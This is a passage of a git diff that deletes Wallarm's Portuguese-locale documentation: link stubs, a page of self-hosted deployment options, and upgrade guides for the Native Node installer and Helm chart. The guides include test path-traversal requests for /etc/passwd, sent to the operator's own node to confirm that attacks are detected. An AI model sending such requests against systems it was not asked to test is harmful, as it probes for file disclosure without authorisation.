https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance - -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws - -[img-create-sg]: ../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../installation/supported-deployment-options.md -[node-token]: ../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[wallarm-mode]: ../../admin-en/configure-wallarm-mode.md -[oob-docs]: ../oob/overview.md -[wallarm-api-via-proxy]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/packages/aws-ami.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/packages/gcp-machine-image.md b/docs/pt-BR/installation/packages/gcp-machine-image.md deleted file mode 100644 index 6a088cb3b1..0000000000 --- a/docs/pt-BR/installation/packages/gcp-machine-image.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -search: - exclude: true ---- - -[link-launch-instance]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-ssh-key-generation]: ../../images/installation-gcp/common/ssh-key-generation.png -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../installation/supported-deployment-options.md -[node-token]: ../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[real-ip-docs]: ../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[wallarm-mode]: ../../admin-en/configure-wallarm-mode.md -[oob-docs]: ../oob/overview.md -[wallarm-api-via-proxy]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/packages/gcp-machine-image.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/se-connector.md b/docs/pt-BR/installation/se-connector.md deleted file mode 100644 index 1c3fc0194a..0000000000 --- a/docs/pt-BR/installation/se-connector.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/se-connector.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/security-edge/deployment.md b/docs/pt-BR/installation/security-edge/deployment.md deleted file mode 100644 index 97b6e77097..0000000000 --- a/docs/pt-BR/installation/security-edge/deployment.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/deployment.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/security-edge/inline/access-control-lists.md b/docs/pt-BR/installation/security-edge/inline/access-control-lists.md deleted file mode 100644 index c65e7df627..0000000000 --- a/docs/pt-BR/installation/security-edge/inline/access-control-lists.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/security-edge/inline/access-control-lists.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/security-edge/inline/cache-rules.md b/docs/pt-BR/installation/security-edge/inline/cache-rules.md deleted file mode 100644 index 05eca1d309..0000000000 --- a/docs/pt-BR/installation/security-edge/inline/cache-rules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/security-edge/inline/cache-rules.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/security-edge/inline/telemetry-portal-logs-dashboard.md b/docs/pt-BR/installation/security-edge/inline/telemetry-portal-logs-dashboard.md deleted file mode 100644 index 5e508d5d49..0000000000 --- a/docs/pt-BR/installation/security-edge/inline/telemetry-portal-logs-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/security-edge/inline/telemetry-portal-logs-dashboard.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/security-edge/inline/telemetry-portal-main-dashboard.md b/docs/pt-BR/installation/security-edge/inline/telemetry-portal-main-dashboard.md deleted file mode 100644 index f9f5105212..0000000000 --- a/docs/pt-BR/installation/security-edge/inline/telemetry-portal-main-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/security-edge/inline/telemetry-portal-main-dashboard.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/security-edge/inline/telemetry-portal.md b/docs/pt-BR/installation/security-edge/inline/telemetry-portal.md deleted file mode 100644 index 2badacb8ae..0000000000 --- a/docs/pt-BR/installation/security-edge/inline/telemetry-portal.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/security-edge/inline/telemetry-portal.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/supported-deployment-options.md b/docs/pt-BR/installation/supported-deployment-options.md deleted file mode 100644 index 20b029df81..0000000000 --- a/docs/pt-BR/installation/supported-deployment-options.md +++ /dev/null @@ -1,364 +0,0 @@ -# Self-Hosted Deployment Options - -In a self-hosted deployment, you are responsible for installing and operating the **[Wallarm Node](../about-wallarm/overview.md#filtering-node) within your infrastructure** - on Kubernetes clusters, virtual machines, or cloud environments. This gives you full control over configuration, networking, and scaling. - -Wallarm supports many deployment options enabling you to seamlessly integrate the platform with your environment. Learn the options and choose the most appropriate one from this document. - - - -## Kubernetes - -
              -
              - - -

              NGINX Ingress Controller

              -

              Deploy the NGINX Ingress Controller with integrated Wallarm services

              -               - - - -

              eBPF

              -

              Out-of-band deployment on Kubernetes using the eBPF technology

              -               -
              -
              - -## Public clouds - -
              -
              -
              - -

              Amazon Web Services

              -

              Artifacts for Wallarm deployment on AWS

              -
              - -
              - -

              Google Cloud

              -

              Artifacts for Wallarm deployment on GCP

              -
              - -
              - -

              Microsoft Azure

              -

              Artifacts for Wallarm deployment on Microsoft Azure

              -
              - -
              - -

              Alibaba Cloud

              -

              Artifacts for Wallarm deployment on Alibaba Cloud

              -
              - - - -

              Heroku

              -

              Build a Wallarm Docker image and run it on Heroku

              -               -
              - -
              -
              - -

              Amazon Web Services

              -

              Artifacts for Wallarm deployment on AWS

              -
              - - -

              AMI

              -

              Use the official Amazon Machine Image to deploy Wallarm

              -               - - -

              ECS

              -

              Use the Docker image to deploy Wallarm with Elastic Container Service

              -               - -
              -

              Terraform module

              -

              Use the Terraform module for Wallarm deployment

              -
              -
              - -
              -
              - -

              Terraform module

              -

              Use the Terraform module for Wallarm deployment on AWS

              -
              - - -

              Proxy in AWS VPC

              -

              Wallarm as proxy in AWS Virtual Private Cloud

              -               - - -

              Proxy for Amazon API Gateway

              -

              Wallarm as proxy for Amazon API Gateway protection

              -               -
              - -
              -
              - -

              Google Cloud

              -

              Artifacts for Wallarm deployment on GCP

              -
              - - -

              Machine Image

              -

              Use the official Google Cloud Machine Image to deploy Wallarm

              -               - - -

              GCE

              -

              Use the Docker image to deploy Wallarm with Google Compute Engine

              -               -
              - -
              -
              - -

              Microsoft Azure

              -

              Artifacts for Wallarm deployment on Microsoft Azure

              -
              - - -

              Azure Container Instances

              -

              Use the Docker image to deploy Wallarm with Azure Container Instances

              -               -
              - -
              -
              - -

              Alibaba Cloud

              -

              Artifacts for Wallarm deployment on Alibaba Cloud

              -
              - - -

              ECS

              -

              Use the Docker image to deploy Wallarm with Elastic Compute Service

              -               -
              -
              - -## API gateways - -Choose an API gateway connector if traffic already flows through a gateway and you want to add protection alongside it. - -
              -
              - - -

              Broadcom Layer7 API Gateways

              -

              Secure APIs managed with Layer7 API Gateways

              -               - - - -

              Kong API Gateway

              -

              Deploy Wallarm to secure APIs managed by Kong API Gateway

              -               -
              -
              - -## CDN - -Choose a CDN or edge integration if your traffic is fronted by a CDN and you want protection at the edge. - -
              -
              - - -

              Akamai EdgeWorkers

              -

              Secure APIs running on Akamai EdgeWorkers

              -               - - - -

              CloudFront

              -

              Deploy Wallarm to secure traffic delivered through Amazon CloudFront

              -               - - - -

              Azion Edge

              -

              Secure APIs running on Azion Edge

              -               - - - -

              Cloudflare

              -

              Deploy Wallarm to secure traffic running via Cloudflare

              -               - - - -

              Fastly

              -

              Deploy Wallarm to secure APIs running on Fastly

              -               -
              -
              - -## API management platform - -Choose an API management connector if you expose APIs through one of these platforms and want to add security without changing it. - -
              -
              - - -

              MuleSoft

              -

              Deploy Wallarm to secure APIs managed by MuleSoft

              -               - - - -

              IBM API Connect

              -

              Deploy Wallarm to secure APIs managed through IBM API Connect

              -               -
              -
              - -## Packages & containers - -Choose packages or containers if you run on VMs or bare metal and prefer them over managed options. - -
              -
              - -
              - -

              NGINX Node

              -

              Node for infrastructures that rely on NGINX

              -
              - -
              - -

              Native Node

              -

              Self-hosted node for connectors or TCP traffic

              -
              - -
              - -
              - -
              - -

              NGINX Node

              -

              Node for infrastructures that rely on NGINX

              -
              - - - -

              All-in-one installer

              -

              Let Wallarm detect your OS and NGINX version to install the appropriate modules

              -               - - - -

              Docker image (NGINX)

              -

              Use the NGINX-based Docker image for Wallarm deployment

              -               - -
              - -

              Cloud images

              -

              Machine Images to deploy Wallarm on public clouds

              -
              - - - -

              Terraform module

              -

              Use the Terraform module for Wallarm deployment on AWS

              -               -
              - -
              -
              - -

              Cloud images

              -

              Machine Images to deploy Wallarm on public clouds

              -
              - - -

              AWS AMI

              -

              Use the official Machine Image to deploy Wallarm on AWS

              -               - - -

              GCP Machine image

              -

              Use the official Machine Image to deploy Wallarm on Google Cloud

              -               -
              - -
              - -
              - -

              Native Node

              -

              Self-hosted node for connectors or TCP traffic

              -
              - - - -

              All-in-one installer

              -

              Run the Native Node on a virtual machine on Linux

              -               - - - -

              Helm chart

              -

              Run the Native Node in an infrastructure utilizing K8s

              -               - - - -

              Docker image

              -

              Run the Native Node in a containerized environment using Docker

              -               -
              - - -
              - -## Special setups - -Deployment options that don't follow the platform matrix: known scenarios (multi-tenant, separate postanalytics, custom NGINX) and custom requests when nothing above fits. - -
              -
              - -

              Multi-tenant Node deployment

              -

              Run Nodes for multiple tenants with per-account data and access isolation, ideal for SaaS and MSPs

              -               - - -

              Separate postanalytics

              -

              Deploy postanalytics on a dedicated host to scale independently and offload the Filtering Node

              -               - - -

              Custom NGINX version

              -

              Use Wallarm with a custom NGINX build when standard packages do not match your stack

              -               - - - -

              Request custom deployment

              -

              Need something else? Request a custom deployment or integration

              -               -
              -
              - -## Related documentation - -* [Inline traffic flow](inline/overview.md) -* [Out-of-band traffic flow](oob/overview.md) -* [NGINX and Native Node overview](nginx-native-node-internals.md) -* [Connector overview](connectors/overview.md) - - diff --git a/docs/pt-BR/integrations-devsecops/generate-sbom-for-docker-images.md b/docs/pt-BR/integrations-devsecops/generate-sbom-for-docker-images.md deleted file mode 100644 index a575cadd04..0000000000 --- a/docs/pt-BR/integrations-devsecops/generate-sbom-for-docker-images.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/integrations-devsecops/generate-sbom-for-docker-images.md" \ No newline at end of file diff --git a/docs/pt-BR/integrations-devsecops/verify-docker-image-signature.md b/docs/pt-BR/integrations-devsecops/verify-docker-image-signature.md deleted file mode 100644 index afeeac99ff..0000000000 --- a/docs/pt-BR/integrations-devsecops/verify-docker-image-signature.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/integrations-devsecops/verify-docker-image-signature.md" \ No newline at end of file diff --git a/docs/pt-BR/maintenance/overview.md b/docs/pt-BR/maintenance/overview.md deleted file mode 100644 index b0343697bd..0000000000 --- a/docs/pt-BR/maintenance/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/maintenance/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/quickstart/attack-prevention-best-practices.md b/docs/pt-BR/quickstart/attack-prevention-best-practices.md deleted file mode 100644 index 1f076060b2..0000000000 --- a/docs/pt-BR/quickstart/attack-prevention-best-practices.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/quickstart/attack-prevention-best-practices.md" \ No newline at end of file diff --git a/docs/pt-BR/quickstart/getting-started.md b/docs/pt-BR/quickstart/getting-started.md deleted file mode 100644 index f9a98b9ce4..0000000000 --- a/docs/pt-BR/quickstart/getting-started.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/quickstart/getting-started.md" \ No newline at end of file diff --git a/docs/pt-BR/reference/comparing-wallarm-to-other-solutions.md b/docs/pt-BR/reference/comparing-wallarm-to-other-solutions.md deleted file mode 100644 index bc7303baa6..0000000000 --- a/docs/pt-BR/reference/comparing-wallarm-to-other-solutions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/reference/comparing-wallarm-to-other-solutions.md" diff --git a/docs/pt-BR/robots.txt b/docs/pt-BR/robots.txt deleted file mode 100644 index 5f26fd3ca7..0000000000 --- a/docs/pt-BR/robots.txt +++ /dev/null @@ -1,2 +0,0 @@ -User-agent: * -Content-Signal: ai-train=yes, search=yes, ai-input=no diff --git a/docs/pt-BR/sla.md b/docs/pt-BR/sla.md deleted file mode 100644 index efe9d0cdb5..0000000000 --- a/docs/pt-BR/sla.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/sla.md" \ No newline at end of file diff --git a/docs/pt-BR/troubleshooting/detection-and-blocking.md b/docs/pt-BR/troubleshooting/detection-and-blocking.md deleted file mode 100644 index fd6f8b91e0..0000000000 --- a/docs/pt-BR/troubleshooting/detection-and-blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/troubleshooting/detection-and-blocking.md" \ No newline at end of file diff --git a/docs/pt-BR/troubleshooting/detection-tools-tuning.md b/docs/pt-BR/troubleshooting/detection-tools-tuning.md deleted file mode 100644 index 81af84fda0..0000000000 --- a/docs/pt-BR/troubleshooting/detection-tools-tuning.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/troubleshooting/detection-tools-tuning.md" \ No newline at end of file diff --git a/docs/pt-BR/troubleshooting/overview.md b/docs/pt-BR/troubleshooting/overview.md deleted file mode 100644 index a7c8603f00..0000000000 --- a/docs/pt-BR/troubleshooting/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/troubleshooting/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/troubleshooting/performance.md b/docs/pt-BR/troubleshooting/performance.md deleted file mode 100644 index 558f4fc063..0000000000 --- a/docs/pt-BR/troubleshooting/performance.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/troubleshooting/performance.md" \ No newline at end of file diff --git a/docs/pt-BR/troubleshooting/wallarm-issues-in-nginx-error-log.md b/docs/pt-BR/troubleshooting/wallarm-issues-in-nginx-error-log.md deleted file mode 100644 index 14aa9961ef..0000000000 --- a/docs/pt-BR/troubleshooting/wallarm-issues-in-nginx-error-log.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/troubleshooting/wallarm-issues-in-nginx-error-log.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/all-in-one.md b/docs/pt-BR/updating-migrating/all-in-one.md deleted file mode 100644 index 06aeefc392..0000000000 --- a/docs/pt-BR/updating-migrating/all-in-one.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/all-in-one.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/cdn-node.md b/docs/pt-BR/updating-migrating/cdn-node.md deleted file mode 100644 index df15c8f265..0000000000 --- a/docs/pt-BR/updating-migrating/cdn-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/cdn-node.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/cloud-image.md b/docs/pt-BR/updating-migrating/cloud-image.md deleted file mode 100644 index a60e3ca591..0000000000 --- a/docs/pt-BR/updating-migrating/cloud-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/cloud-image.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/docker-container.md b/docs/pt-BR/updating-migrating/docker-container.md deleted file mode 100644 index f5b8560d7a..0000000000 --- a/docs/pt-BR/updating-migrating/docker-container.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/docker-container.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/general-recommendations.md b/docs/pt-BR/updating-migrating/general-recommendations.md deleted file mode 100644 index afa59ed44d..0000000000 --- a/docs/pt-BR/updating-migrating/general-recommendations.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/general-recommendations.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/ingress-controller.md b/docs/pt-BR/updating-migrating/ingress-controller.md deleted file mode 100644 index 438dde1584..0000000000 --- a/docs/pt-BR/updating-migrating/ingress-controller.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/ingress-controller.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/migrate-ip-lists-to-node-3.md b/docs/pt-BR/updating-migrating/migrate-ip-lists-to-node-3.md deleted file mode 100644 index 518e28c7ad..0000000000 --- a/docs/pt-BR/updating-migrating/migrate-ip-lists-to-node-3.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/migrate-ip-lists-to-node-3.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/multi-tenant.md b/docs/pt-BR/updating-migrating/multi-tenant.md deleted file mode 100644 index 070d230a33..0000000000 --- a/docs/pt-BR/updating-migrating/multi-tenant.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/updating-migrating/multi-tenant.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/native-node/all-in-one.md b/docs/pt-BR/updating-migrating/native-node/all-in-one.md deleted file mode 100644 index 0de5254eef..0000000000 --- a/docs/pt-BR/updating-migrating/native-node/all-in-one.md +++ /dev/null @@ -1,126 +0,0 @@ -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# Upgrading Wallarm Native Node with All-in-One Installer - -These instructions describe the steps to upgrade the [Native Node installed using all-in-one installer](../../installation/native-node/all-in-one.md). - -[View all-in-one installer releases](node-artifact-versions.md) - -## Requirements - -* Linux OS. -* x86_64/ARM64 architecture. -* Executing all commands as a superuser (e.g. `root`). -* Outbound access to: - - * `https://meganode.wallarm.com` to download the Wallarm installer - * `https://us1.api.wallarm.com` or `https://api.wallarm.com` for US/EU Wallarm Cloud - * IP addresses below for downloading updates to attack detection rules and [API specifications][api-spec-enforcement-docs], as well as retrieving precise IPs for your [allowlisted, denylisted, or graylisted][ip-list-docs] countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* In addition to the above, you should have the **Administrator** role assigned in Wallarm Console. - -## 1. Download the new installer version - -Download the latest installer version on the machine where your current Native Node is running: - -=== "x86_64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.7.0.x86_64.sh - chmod +x aio-native-0.7.0.x86_64.sh - ``` -=== "ARM64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.7.0.aarch64.sh - chmod +x aio-native-0.7.0.aarch64.sh - ``` - -## 2. Run the new installer - -Run the new installer as shown below. It will stop the currently running Wallarm services and then automatically start the services of the new version. - -You can reuse the previously generated [API token for the `Deploy` role](../../user-guides/settings/api-tokens.md) and the node group name. - -For the configuration file, you can reuse the one used during the initial installation. Only add new parameters or modify existing ones if necessary - see the [supported configuration options](../../installation/native-node/all-in-one-conf.md). - -=== "connector-server" - The `connector-server` mode is used when you deployed the self-hosted node with [MuleSoft](../../installation/connectors/mulesoft.md), [CloudFront](../../installation/connectors/aws-lambda.md), or [Cloudflare](../../installation/connectors/cloudflare.md) connector. - - For the x86_64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com --preserve false - ``` - - For the ARM64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com --preserve false - ``` -=== "tcp-capture" - The `tcp-capture` mode is used when you deployed the self-hosted node for [TCP traffic analysis](../../installation/oob/tcp-traffic-mirror/deployment.md). - - For the x86_64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com --preserve false - ``` - - For the ARM64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com --preserve false - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.7.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com --preserve false - ``` - -* The `WALLARM_LABELS` variable sets group into which the node will be added (used for logical grouping of nodes in the Wallarm Console UI). -* `` specifies the generated API token for the `Deploy` role. -* `` specifies the path to the configuration file. - -Your current `/opt/wallarm/etc/wallarm/go-node.yaml`, `/opt/wallarm/etc/wallarm/node.yaml` and log files will be backed up to the directory `/opt/wallarm/aio-backups/`. - -## 3. Verify the upgrade - -To verify that the node is functioning correctly: - -1. Check the logs for any errors: - - * Logs are written to `/opt/wallarm/var/log/wallarm/go-node.log` by default. You can read them there. - * [Standard logs](../../admin-en/configure-logging.md) of the filtering node such as whether the data is sent to the Wallarm Cloud, detected attacks, etc. are located in the directory `/opt/wallarm/var/log/wallarm`. -1. Send the request with test [Path Traversal][ptrav-attack-docs] attack to a protected resource address: - - ``` - curl http://localhost/etc/passwd - ``` -1. Verify that the upgraded node operates as expected compared to the previous version. - -## If you encounter a problem - -If there is a problem with the upgrade or reinstallation process: - -1. Remove the current installation: - - ``` - sudo systemctl stop wallarm && sudo rm -rf /opt/wallarm - ``` -1. Reinstall the node as usual for [TCP traffic analysis](../../installation/oob/tcp-traffic-mirror/deployment.md) or the [MuleSoft](../../installation/connectors/mulesoft.md), [CloudFront](../../installation/connectors/aws-lambda.md), or [Cloudflare](../../installation/connectors/cloudflare.md) connectors. - - Or follow the upgrade procedure described above. diff --git a/docs/pt-BR/updating-migrating/native-node/docker-image.md b/docs/pt-BR/updating-migrating/native-node/docker-image.md deleted file mode 100644 index ff6ffca530..0000000000 --- a/docs/pt-BR/updating-migrating/native-node/docker-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/updating-migrating/native-node/docker-image.md" \ No newline at end of file diff --git a/docs/pt-BR/updating-migrating/native-node/helm-chart.md b/docs/pt-BR/updating-migrating/native-node/helm-chart.md deleted file mode 100644 index 2e613fcbd8..0000000000 --- a/docs/pt-BR/updating-migrating/native-node/helm-chart.md +++ /dev/null @@ -1,66 +0,0 @@ -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md - -# Upgrading Wallarm Native Node with Helm Chart - -These instructions describe the steps to upgrade the [Native Node deployed using Helm chart](../../installation/native-node/helm-chart.md). - -[View Helm chart releases](node-artifact-versions.md) - -## Requirements - -The Kubernetes cluster for deploying the Native Node with the Helm chart must meet the following criteria: - -* [Helm v3](https://helm.sh/) package manager installed. -* Inbound access from your API gateway or CDN where your APIs are running. -* Outbound access to: - - * `https://charts.wallarm.com` to download the Wallarm Helm chart - * `https://hub.docker.com/r/wallarm` to download the Docker images required for the deployment - * `https://us1.api.wallarm.com` or `https://api.wallarm.com` for US/EU Wallarm Cloud - * IP addresses below for downloading updates to attack detection rules and [API specifications][api-spec-enforcement-docs], as well as retrieving precise IPs for your [allowlisted, denylisted, or graylisted][ip-list-docs] countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* In addition to the above, you should have the **Administrator** role assigned in Wallarm Console. - -## 1. Update the Wallarm Helm chart repository - -```bash -helm repo update wallarm -``` - -## 2. Upgrade the Wallarm Kubernetes service - -Upgrade the deployed Kubernetes service or Load Balancer: - -``` bash -helm upgrade -n wallarm/wallarm-node-native --version 0.7.0 -f -``` - -* ``: the name of the existing Helm release -* ``: the namespace with the Helm release -* ``: the path to the [`values.yaml` file](../../installation/native-node/helm-chart-conf.md) defining the deployed solution configuration, you can use the one created for running the previous version - -## 3. Verify the upgrade - -1. Verify that the Wallarm pods are up and running: - - ``` - kubectl -n get pods - ``` - - Each pod status should be **STATUS: Running** or **READY: N/N**. For example: - - ``` - NAME READY STATUS RESTARTS AGE - next-aggregation-5fb5d5444b-6c8n8 3/3 Running 0 51m - next-processing-7c487bbdc6-4j6mz 3/3 Running 0 51m - ``` -1. Send the request with the test [Path Traversal][ptrav-attack-docs] attack to your API gateway: - - ``` - curl https:///etc/passwd - ``` -1. Verify that the upgraded node operates as expected compared to the previous version. diff --git a/docs/pt-BR/updating-migrating/native-node/node-artifact-versions.md b/docs/pt-BR/updating-migrating/native-node/node-artifact-versions.md deleted file mode 100644 index 47f4ff920a..0000000000 --- a/docs/pt-BR/updating-migrating/native-node/node-artifact-versions.md +++ /dev/null @@ -1,70 +0,0 @@ -# Native Node Artifact Versions and Changelog - -This document lists available versions of the [native Wallarm node](../../installation/nginx-native-node-internals.md#native-node) 5.0 in different form-factors. You can track new patch version releases and plan timely upgrades based on this document. - -## All-in-one installer - -The all-in-one installer for the Native Node is used for [TCP traffic mirror analysis](../../installation/oob/tcp-traffic-mirror/deployment.md) and self-hosted node deployment with the [MuleSoft](../../installation/connectors/mulesoft.md), [CloudFront](../../installation/connectors/aws-lambda.md), and [Cloudflare](../../installation/connectors/cloudflare.md) connectors. - -History of all-in-one installer updates simultaneously applies to it's x86_64 and ARM64 versions. - -[How to upgrade](all-in-one.md) - -### 0.7.0 (2024-10-16) - -* Fixed an issue where some internal service connector headers were not being stripped before processing - -### 0.6.0 (2024-10-10) - -* Added support for [customizing sensitive data detection](../../api-discovery/setup.md#customizing-sensitive-data-detection) in API Discovery -* Fixed memory leak on duplicate response headers in [libproton](../../about-wallarm/protecting-against-attacks.md#library-libproton) -* Fixed memory leak related to IP addresses that are not in [IP lists](../../user-guides/ip-lists/overview.md) but have [known source](../../user-guides/ip-lists/overview.md#select-object) -* Updated artifact naming from "next" to "native" - - `https://meganode.wallarm.com/next/aionext-..sh` → `https://meganode.wallarm.com/native/aio-native-..sh` - -### 0.5.2 (2024-09-17) - -* Fixed installation failure issue when no WAAP + API Security subscription is activated -* Fixed delays in attack export -* Fixed an issue with the C memory allocator that caused a performance slowdown - -### 0.5.1 (2024-09-16) - -* Added configurable access log output via [`log.access_log` parameters](../../installation/native-node/all-in-one-conf.md#logaccess_logenabled) - -### 0.5.0 